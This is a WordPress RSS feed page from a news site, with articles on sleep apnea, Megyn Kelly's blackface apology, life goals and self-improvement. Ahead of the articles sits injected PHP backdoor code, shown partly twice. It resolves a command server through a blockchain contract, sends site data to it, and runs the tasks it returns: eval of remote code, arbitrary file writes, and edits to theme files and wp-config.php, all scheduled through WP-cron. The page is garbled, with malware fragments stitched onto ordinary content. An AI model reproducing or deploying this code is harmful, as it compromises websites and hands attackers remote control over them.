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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Realize – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 26 Jan 2019 10:35:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Realize – Brief News https://briefnews.eu 32 32 ​Millions of Canadians are at risk of sleep apnea — here’s why so few realize it https://briefnews.eu/%e2%80%8bmillions-of-canadians-are-at-risk-of-sleep-apnea-heres-why-so-few-realize-it/ https://briefnews.eu/%e2%80%8bmillions-of-canadians-are-at-risk-of-sleep-apnea-heres-why-so-few-realize-it/#respond Sat, 26 Jan 2019 10:35:49 +0000 http://briefnews.eu/%e2%80%8bmillions-of-canadians-are-at-risk-of-sleep-apnea-heres-why-so-few-realize-it/ Carolyn McCann

One in three Canadians sleep less than the recommended seven to nine hours per night. The culprit could be too much screen time, stress or caffeine, but few Canadians realize their daytime doziness may be directly caused by a condition called sleep apnea that can have serious health ramifications.

]]> https://briefnews.eu/%e2%80%8bmillions-of-canadians-are-at-risk-of-sleep-apnea-heres-why-so-few-realize-it/feed/ 0 I spent college studying and interning, but I didn’t realize I’d missed a huge opportunity until it was too late https://briefnews.eu/i-spent-college-studying-and-interning-but-i-didnt-realize-id-missed-a-huge-opportunity-until-it-was-too-late/ https://briefnews.eu/i-spent-college-studying-and-interning-but-i-didnt-realize-id-missed-a-huge-opportunity-until-it-was-too-late/#respond Thu, 01 Nov 2018 00:49:10 +0000 http://briefnews.eu/i-spent-college-studying-and-interning-but-i-didnt-realize-id-missed-a-huge-opportunity-until-it-was-too-late/ olivia young study abroadMatt Picking

 

Standing in line to receive a college diploma at my graduation ceremony five years ago, knowing that I was in the midst of one of the most important moments of my life, I was overwhelmed to tears. As I pitched my cap into a sea of 5,000 mortarboards, I felt reassured that I had done everything right.

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]]> https://briefnews.eu/i-spent-college-studying-and-interning-but-i-didnt-realize-id-missed-a-huge-opportunity-until-it-was-too-late/feed/ 0 Megyn Kelly Apologizes for Defending Blackface on Today: 'I Realize Now That Such Behavior Is Indeed Wrong' https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/ https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/#respond Tue, 23 Oct 2018 20:48:48 +0000 http://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/

Megyn Kelly is reevaluating her stance on blackface. Just hours after stating on-air that it isn’t “racist” for white people to darken their skin with makeup on Halloween as long as they’re portraying an actual person or character, the host of Megyn Kelly Today on Tuesday released an internal email to her staff, apologizing for her words.

“One of the wonderful things about my job is that I get the chance to express and hear a lot of opinions,” Kelly wrote in the email. “Today is one of those days where listening carefully to other points of view, including from friends and colleagues, is leading me to rethink my own views. I realize now that such behavior is indeed wrong, and I am sorry. The history of blackface in our culture is abhorrent; the wounds too deep.”

She continued, “I’ve never been a ‘pc’ kind of person — but I understand that we do need to be more sensitive in this day and age. Particularly on race and ethnicity issues which, far from being healed, have been exacerbated in our politics over the past year. This is a time for more understanding, love, sensitivity and honor, and I want to be part of that. I look forward to continuing that discussion.”

You can watch Kelly’s original remarks in this clip below:

For the record, this isn’t the first time Kelly has come under fire for racially insensitive remarks she’s made while on the air. During a Fox News segment in 2013 about Santa Claus being depicted as a race other than white, she said, “Just because it makes you feel uncomfortable doesn’t mean it has to change. You know, I mean, Jesus was a white man too.” Yikes.

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]]> https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/feed/ 0 ‘Supergirl’ star Mehcad Brooks says that being on the show made him realize that he was sexist https://briefnews.eu/supergirl-star-mehcad-brooks-says-that-being-on-the-show-made-him-realize-that-he-was-sexist/ https://briefnews.eu/supergirl-star-mehcad-brooks-says-that-being-on-the-show-made-him-realize-that-he-was-sexist/#respond Fri, 19 Oct 2018 05:05:01 +0000 http://briefnews.eu/supergirl-star-mehcad-brooks-says-that-being-on-the-show-made-him-realize-that-he-was-sexist/ mehcad brooksManny Roman

  • “Supergirl” actor Mehcad Brooks opened up to INSIDER about how playing James Olsen on The CW show has made him “a more complete, inclusive, and better person.”
  • The 37-year-old elaborated and said that specifically during season one, he realized “that I was sexist and that every man in America likely is sexist because we have a foundation of gender inequality and we come from that world.”
  • “‘Supergirl’ has really made me take a step back and say, ‘Wow, even as an African American, there are certain things that I do enjoy from the perspective of male privilege,'” Brooks told us.
  • Brooks believes that “we’re on the precipice of overturning something really big here” and hopes that the series “can get into people’s homes and subvert some of the bad ideas that we hold so close.”   

 

Mehcad Brooks says that starring as James Olsen on The CW’s “Supergirl” helped him realize that he was sexist, and hopes that the show can encourage other people to reevaluate their beliefs.

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]]> https://briefnews.eu/supergirl-star-mehcad-brooks-says-that-being-on-the-show-made-him-realize-that-he-was-sexist/feed/ 0 Unfulfilled in Life? This List of Goals Can Help You Realize Your Dreams https://briefnews.eu/unfulfilled-in-life-this-list-of-goals-can-help-you-realize-your-dreams/ https://briefnews.eu/unfulfilled-in-life-this-list-of-goals-can-help-you-realize-your-dreams/#respond Mon, 24 Sep 2018 15:52:54 +0000 http://briefnews.eu/unfulfilled-in-life-this-list-of-goals-can-help-you-realize-your-dreams/ We all have our dreams, hopes and ideas about how our future should look like. Some dreams are professional, others – entirely personal and maybe even secret.

Whatever your dream is, this list of goals will help you reach it in a faster, healthier, and more pleasant way. All of these goals are very different, and some may not even seem to be directly connected to realizing your dreams.

But if you look deeper, you’ll find that these are important milestones in the road to meeting a better version of yourself – someone you’ve always aspired to become.

1. Stay fit and healthy

“A healthy mind in a healthy body” is one of those age-old quotes that’s just 100% true. It’s never too late to start a healthier lifestyle – what’s paramount here is to have a clear goal to follow.

Think about what kind of goals motivate you better. Some people feel that reaching small milestones every week or month is the best strategy for motivation because they can continuously notice the results of their effort.

For others, a grander aim like “running a marathon next year” works better. Who knows – you might end up like Kaspars Drikis, a commercial director from Riga, Latvia who went from being called “the big guy” to riding nearly 14 hours on an average week and participating in international races.((VeloSock: How to Become a Better Cyclist: Honest Truths from an Inside Man))

Some simple goals to help you start leading a healthier lifestyle:

Eat healthy food at least 3 days a week

If you have the willpower to switch to a healthier diet every day – great!

However, if you are struggling with it like most of us are, start by choosing only healthy and lean food 3 days of the week (or any other pattern that suits you better). This way you’ll do your health a favor while still being able to enjoy some snacks at a birthday party or Saturday night movie night.

Find a physical activity that you love

Whatever is your relationship with sports and active lifestyle, there’s definitely something more you can do – or something new that you can try out.

There is an ideal type of activity for everyone – you just have to find it. Even if sports is not your thing altogether, taking long walks or starting gardening more often can help to get your energy flowing.

Get a fitness watch

From cheap pedometers to advanced fitness computers on your wrist, these tiny accessories can serve as excellent motivators to move.

Soon you’ll be likely to catch yourself climbing the stairs instead of taking the elevator or walking to work instead of driving just to catch up with that recommended daily step count, or set a personal step record.

Take frequent breaks at work

In case you haven’t heard – sitting is the new smoking. Being seated in front of your computer for hours on end can cause a myriad of health problems in the long run.

So make sure you find a way to take regular quality breaks – exercise, take a walk, grab a healthy snack or chat with your colleagues.

Short breaks from work actually improve your productivity and restore your energy levels; therefore your employer should also encourage them.

Set a reminder to drink water

Scientists never tire of stressing the importance of drinking enough water every day. In addition to all the health benefits, like weight loss and flushing the body of toxins, drinking lots of water is also a healthy – and 100% effective – way to take frequent breaks at work (to visit the bathroom).

The easiest way to make a habit of drinking water is to set a reminder. You can simply set a recurring notification on your phone, computer or wristwatch. Every time you hear the reminder, drink a glass of water. Alternatively, follow these 7 original ways to drink more water.

2. Become your own boss

This may be easier said than done, but changing your life always starts with a decision.

Once you’ve really decided that you want to be your own boss, there are plenty of possibilities available – starting from freelancing and taking up flexible online jobs to pursuing your dreams in an entirely new area.

Become a freelancer

It’s true that a freelancer’s life has many advantages, like choosing your working hours and reporting only to yourself.

However, there are things to consider before you jump into self-employment. For instance, are you able to discipline yourself and follow deadlines? Can you accept that your income will probably differ from month to month?

If you are nodding in agreement right now, then follow these steps:

  • Find an area where you’re good at. It can be something broad (like drawing) or a niche (like knitting clothes for pets).
  • Think about where your potential customers can be met. Do they follow certain social media groups, are they members of any forums or maybe you can meet them face-to-face in your professional or personal circles?
  • Offer and promote your services – in your neighborhood, social media profiles, freelancer platforms like Fiverr and Upwork, etc.
  • Make use of various helpful tools and resources for freelancers. Numerous apps, online platforms, and communities are there to help you in your freelancing efforts.

Start your own business – online or offline

Starting a business is an even more responsible occupation than freelancing. Depending on what you want to sell, consider investing in a good-looking website and online shop (unless your business is strictly offline and local).

In general, starting a business online is a cheaper and a less risky way to start test your entrepreneurial skills. For example, online jobs like reseller, blogger and affiliate marketer don’t require huge expenses and let you evaluate if you like the responsibility.

Also, you don’t have to quit your job right away – find a side project that brings you joy and passive income. For example, Dionna Dorsey, a 36-year-old graphic designer/creative director from Washington, DC. works full-time in her creative design boutique and also sells design clothes via print-on-demand service Printful.((Printful: How to Make an Extra $ 29K per Year With Your Side Project: The Story of District of Clothing))

Do something that you’ve always wanted

Have you ever dreamed about doing something and always postponed it for “some time in the future”? Chances are, there is something you’d do rather than your present occupation.

Ever thought about finding a job that doesn’t require staring at a computer screen all day? Maybe you even have an idea of something you can produce yourself and sell on craft or eco food markets?

Ever wanted to volunteer or use a unique talent that never seemed financially feasible? Start it as a hobby and dedicate some of your free time to it. You never know – it might turn into something more when you meet the right people or stumble upon an opportunity.

Ask yourself and answer truthfully:

What are the real reasons why you haven’t done it yet? Maybe your circumstances have changed over the past years and now you can finally fulfill this dream?

If you still decide to postpone this goal, set a clear deadline when you’ll start achieving it. For example, “I will launch my online store when my kid starts kindergarten”. Or, “I will start building my house in 12 months when I will have saved at least $ 15 000.”

3. Be present

In these hectic times, we often struggle to be in several places at the same time. But in reality, we are not fully present in any of them.

Often we realize the importance of being mindful only when we’re already experiencing problems – like insomnia, anxiety, and depression. But there’s so much that you can do to prevent these feelings – and gain more power to pursue your dreams.

Practice mindfulness and meditation

Mindfulness is the act of deliberately being aware. When we are mindful, we have an open mind, and we are actively experiencing everything that we see and feel happening around us right then and there. Mindfulness allows you to see yourself and the world around you just as it is – without any expectations or notions of what it “should be.”

You can practice mindfulness at any given moment of the day – for example, observe and enjoy the park as you’re walking your dog (instead of planning the dinner, dwelling on problems, or replaying the workday in your head).

However, meditation is probably the most direct way to mindfulness and achieving inner peace, balance, and happiness. Find out the basics of mindfulness and meditation in Lifehack’s Mindfulness Meditation Mini Guide.

Think of your attention as an asset

In today’s digital age, attention is our most valuable skill that can guide us through the jungle of distraction and help us achieve our goals. Think of your attention as a superpower that you should use wisely.

First, think about those people in your life that deserve your attention, like your family, closest friends, and people who help you grow personally and professionally.

Then make sure you spare enough time and attention to the things you want to achieve in life. For example, designate an hour every day for reading books that will help you realize your dream. Or promise to spare at least three hours a week to doing something that takes you closer to your life goals.

Block distracting apps

If you are like most people, you probably struggle to keep focus for longer tasks or conversations. There’s just too much going on in the world, right?

Our short attention span owes a big “thanks” to social media.((Michael Simmons: While Everyone Is Distracted By Social Media, Successful People Double Down On An Underrated Skill)) But, if we use social media in a controlled, not a compulsive way, it can serve as a valuable resource of information and contacts.

If you feel that social media is taking too much of your time, try blocking it for several hours every day. It’s very likely that you’ll see your productivity and mood improving.

4. Travel

Traveling is an eye-opening experience that will always leave you wanting more. Even if it doesn’t seem linked to achieving your life goals, I promise you – it is.

Because traveling means leaving your comfort zone and opening yourself to new ideas, actions, and experiences.

If you haven’t traveled much previously, you don’t necessarily have to make your first trip to another continent. You can pick a scope and format that you find comfortable, but still interesting – e.g. start by exploring your surroundings, nearby cities, countries or states.

If you have already traveled before, but feel that you want a different kind of experience, try these tips.

Travel alone

This sounds scary at first, but you may actually find it very liberating – and much more adventurous than traveling with your partner, kids or friends.

As you embark on your solo journey, you can decide if you want to spend this time entirely alone or if you’d enjoy socializing with locals and other travelers you meet on the way.

Either way, you’ll learn a thing or two about yourself and have a different perspective on traveling – and life, for that matter. Who knows – you might actually fall in love with the sense of freedom!

Travel differently

It doesn’t matter if you travel alone or with others – you can always find new ways to spice up your trips.

For example, staying in a camping instead of a hotel could be fun even if you travel with kids. Or, try Couchsurfing that’s all about meeting locals and staying in their homes. For longer trips, consider programs like Workaway that unite volunteers and hosts from around the Globe.

You can also change other things about how you travel. If you’re used to relaxing in tourist resorts, go on a city break or a nature holiday in the mountains. If you’ve always taken guided tours, go on a self-arranged trip for a change. If you’ve mostly traveled by car, consider renting bikes or hiking.

5. Manage your money smarter

When working towards our life goals, you’ll probably need some funding, or at least a safety net if the road gets too bumpy. Learn these simple, but effective money management tips to help you save up for realizing your dreams.

Think twice before you make big purchases

Time after time we all need to make purchases that require us tightening the belt. Some examples are home appliances, baby equipment, furniture or a car. Often buying a new item in your nearest store seems like the obvious thing to do.

However, you can save a lot of money if you answer these questions before you buy:

  • Can I find it cheaper at another store or distributor?
  • Can I buy it used?
  • Can I borrow or rent it?
  • Can I wait until the sale?

Only when none of these options are possible – or sensible – opt for buying a new product.

Keep an emergency account

Everyone faces emergency expenses at one time or another. Some examples of these are car repairs, sudden medical expenses, losing a job, etc. Savings will prevent you from having to borrow money or maxing out your credit card.

Some tips for your emergency savings:

  • Experts generally advise having savings that equal your 3, 6 or 9 months salary to cover your basic needs and pay bills in case of emergency.((PNI: The 3-6-9 Guideline for Emergency Savings))
  • Set a savings goal – for example, save $ 1000 in six months. It’s important to keep the goal realistic and not too aggressive for your budget.
  • Set an automatic transfer on payday to your savings account – this way you won’t have to remember to do the transfer yourself.
  • Don’t make exceptions. Stick to your savings plan at all times. Don’t skip a month because you spent too much money on entertainment or clothes.
  • If you have a partner, you can agree to maintain the savings account together. Even if each of you sets aside only $ 10 every week, you will have saved more than $ 1000 in one year. If you can afford to double this amount, your savings will amount to more than $ 2000 per year. However, you can also make your individual savings and set aside as much as you can every month.

Use money saving apps

If you feel that you don’t have any money to spare for savings, look deeper into your money spending habits – you can probably find an area where you can be more economical. To help you discipline yourself and save, try apps like Monefy or Money Lover.

Final thoughts

Do what you’ve always dreamed!

I know this might sound vague at first. But if you stop to think for a few minutes, you will probably recall something that you’ve always wanted to do – but never had the time, money, or opportunity.

Then ask yourself – why not do it now?

Maybe as the years passed, the situation has changed, and you now have the knowledge, skill or resources to achieve what you always wanted.

As you embark on the adventure of your dreams, keep this helpful list of goals close to your heart.

]]> https://briefnews.eu/unfulfilled-in-life-this-list-of-goals-can-help-you-realize-your-dreams/feed/ 0 15 Inspirational Ideas on How to Stay Consistent and Realize Your Dreams https://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/ https://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/#respond Sat, 15 Sep 2018 00:29:02 +0000 http://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/ Most of us have experienced negativity in life and have gone through phases where we were consistent in doing only one thing – procrastinate.If this is the present reality of your life, you are not the only one. Difficult and dark as it may appear now, it’s not the end of the tunnel. Light and hope are waiting just round the corner! All that it needs is little change in your approach.It is easy to fall prey to the habit of procrastination or getting distracted by trivial and unimportant affairs of daily chores in life. However, building self reliance and a benchmark for consistency is no astrophysics either. All it needs is consistent will power and motivation to keep the show on.The critical part in this journey lies in how to take the first few steps towards being steady and positive in all life situations. Let’s take a look at these 15 inspirational ideas on how to stay consistent and realize your dreams.

1. Make sure they’re your dreams

Often our dreams and desires are contrast, influenced and shaped by social perspectives, rather than being fuelled by raw passion which leaves us relentless!It is important to harbor and nourish dreams solely made of our own desires. That’s elementary!Dreams that are not products of genuine fervor and interest will lose steam eventually as dreams feed solely on pure passions. To keep pursuing the goals, you need to be assured of the vitality and intensity of your dreams. If you are sure about what you want to achieve; consistency will follow suit.Till 1993 J. K Rowling was a single mother struggling with unemployment, divorce and bankruptcy. Indomitable that she is, she braved the challenges and even the rejections of the Harry Potter script by 12 major publishers. It was in 1995 that Bloomsbury, a nondescript publishing house, came up with the first copies of the now a classic Harry Porter. Rest, as we all know, is history.

2. Break down your goals into smaller pieces

Realizing your dream is like a road trip to your favourite destination. We need milestones to reassure us whether the path we’re taking is the correct one and will soon bring us close to our ultimate destination.Crossing these milestones will give us a small sense of achievement and egg us on to work consistently. Start by listing out these milestones on a planned timeline of your journey to realize your dreams and strike them out one after the other.As a computer programmer, Pierre Omidyar once thought of auctioning off products from his personal website, at a very personal level. He was getting happier by the day as traffic kept increasing. Omidyar crossed his designated milestones fast and one day saw the need to upgrade his account into a business Internet account. Omidyar’s site is the now known as eBay.

3. Segment your efforts and tasks

Split your goal to realize your dreams in segments of achievements.If your dreams are that of establishing your company, segment them into smaller tasks like attaining a business license, building a website, marketing your product or service and finally achieving profit targets.This will bring in consistency and order in the operations of your company and the benefits will surprise you. You will also find room for more tasks and as we know the key to incorporating more work is to break them down even further.Joyce Meyer – the Charismatic Christian author and speaker and president of Joyce Meyer Ministries – says,

“Getting organized in the normal routines of life and finishing little projects you’ve started is an important first step toward realizing larger goals. If you can’t get a handle on the small things, how will you ever get it together to focus on the big things?”

4. Get organized and be systematic

Clear the clutter on your desk, as well as your calendar. Getting organized gives you clarity about your priorities and helps you manage your time better. It gives a big boost to your consistency while executing important assignments.Ever wonder why Mark Zuckerberg wears grey t-shirt and blue jeans every day? Because he doesn’t spend his time and energy deciding what clothes to wear and instead focuses on important agendas.Be systematic about every approach in life. Every small step taken in running a business needs well-conceived and systematic approach to achieve the targets. By devising your own ways to ease-of-operation your performance will improve exponentially.

5. Remind yourself why you started

Keep your goals in sight. Write them down and pin them to your desk. Revisiting your goals before starting your day keeps you away from procrastination and makes you conscious of the worth of all your daily actions.Do you dream of being the next Elon Musk? Or is it your desire to win gold medal in the next Olympics like Abhinav Bindra((Forbes: Abhinav Bindra: ‘I Am in a Bad Frame of Mind’))? Either way, it is your actions which are going to bring you closer to what you wish to make out of your life.A simple daily reminder is a great power booster. It also helps you survive the tough times when you feel like giving up. As Mick Jagger aptly said,

“Lose your dreams and you might lose your mind.”

6. Talk to your partner often

